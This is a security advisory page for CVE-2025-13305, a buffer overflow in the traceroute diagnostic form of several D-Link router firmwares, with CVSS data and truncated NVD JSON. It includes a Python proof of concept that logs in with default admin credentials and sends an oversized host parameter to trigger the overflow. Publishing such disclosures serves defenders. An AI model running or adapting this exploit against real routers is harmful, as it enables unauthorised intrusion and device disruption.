Security Vulnerability Report
中文
CVE-2025-13305 CVSS 8.8 HIGH

CVE-2025-13305

Published: 2025-11-17 23:15:49
Last Modified: 2025-12-08 14:35:13

Description

A weakness has been identified in D-Link DWR-M920, DWR-M921, DWR-M960, DIR-822K and DIR-825M 1.01.07. This issue affects some unknown processing of the file /boafrm/formTracerouteDiagnosticRun. Executing manipulation of the argument host can lead to buffer overflow. The attack may be launched remotely. The exploit has been made available to the public and could be exploited.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:dlink:dir-825m_firmware:1.01.07:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:dlink:dir-825m:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:dlink:dwr-m920_firmware:1.01.07:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:dlink:dwr-m920:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:dlink:dwr-m921_firmware:1.01.07:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:dlink:dwr-m921:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:dlink:dwr-m961_firmware:1.01.07:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:dlink:dwr-m961:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:dlink:dwr-m960_firmware:1.01.07:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:dlink:dwr-m960:b1:*:*:*:*:*:*:* - NOT VULNERABLE
D-Link DWR-M920 固件版本 <= 1.01.07
D-Link DWR-M921 固件版本 <= 1.01.07
D-Link DWR-M960 固件版本 <= 1.01.07
D-Link DIR-822K 固件版本 <= 1.01.07
D-Link DIR-825M 固件版本 <= 1.01.07

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-13305 PoC - D-Link Router formTracerouteDiagnosticRun Buffer Overflow # Target: D-Link DWR-M920, DWR-M921, DWR-M960, DIR-822K, DIR-825M (Firmware 1.01.07) TARGET_IP = "192.168.1.1" # Router IP address TARGET_PORT = 80 LOGIN_URL = f"http://{TARGET_IP}:{TARGET_PORT}/login.cgi" EXPLOIT_URL = f"http://{TARGET_IP}:{TARGET_PORT}/boafrm/formTracerouteDiagnosticRun" def exploit_buffer_overflow(): """ Exploit for CVE-2025-13305 Buffer overflow in formTracerouteDiagnosticRun via host parameter """ # Login first - default credentials often work login_data = { "username": "admin", "password": "admin" } session = requests.Session() try: # Attempt login session.post(LOGIN_URL, data=login_data, timeout=10) # Buffer overflow payload - oversized host parameter # This causes buffer overflow in the host parameter handling overflow_payload = "A" * 1000 # Large string to trigger overflow exploit_data = { "host": overflow_payload, "submit": "Start Diagnostic" } print(f"[*] Sending exploit payload to {EXPLOIT_URL}") print(f"[*] Payload length: {len(overflow_payload)}") # Send exploit request response = session.post(EXPLOIT_URL, data=exploit_data, timeout=10) print(f"[+] Exploit sent. Status code: {response.status_code}") print(f"[*] Response length: {len(response.content)}") return True except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-13305 PoC - D-Link Router Buffer Overflow") print("=" * 60) exploit_buffer_overflow()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13305", "sourceIdentifier": "[email protected]", "published": "2025-11-17T23:15:49.183", "lastModified": "2025-12-08T14:35:13.063", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A weakness has been identified in D-Link DWR-M920, DWR-M921, DWR-M960, DIR-822K and DIR-825M 1.01.07. This issue affects some unknown processing of the file /boafrm/formTracerouteDiagnosticRun. Executing manipulation of the argument host can lead to buffer overflow. The attack may be launched remotely. The exploit has been made available to the public and could be exploited."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "baseScore": 9.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE"}, "baseSeverity": "HIGH", "exploitabilityScore": 8.0, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-120"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-120"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dlink:dir-825m_firmware:1.01.07:*:*:*:*:*:*:*", "matchCriteriaId": "BCF53E63-DA11-4E47-B8AB-25AC02AE05EE"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:dlink:dir-825m:-:*:*:*:*:*:*:*", "matchCriteriaId": "1B727E66-E5B3-44BA-89ED-F489D1E779A0"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dlink:dwr-m920_firmware:1.01.07:*:*:*:*:*:*:*", "matchCriteriaId": "CF5AD947-3F77-4254-A3D5-75895904336A"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:dlink:dwr-m920:-:*:*:*:*:*:*:*", "matchCriteriaId": "E815EF72-10FC-43A4-84A7-A25ABE7A4640"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dlink:dwr-m921_firmware:1.01.07:*:*:*:*:*:*:*", "matchCriteriaId": "D65B00A2-C6 ... (truncated)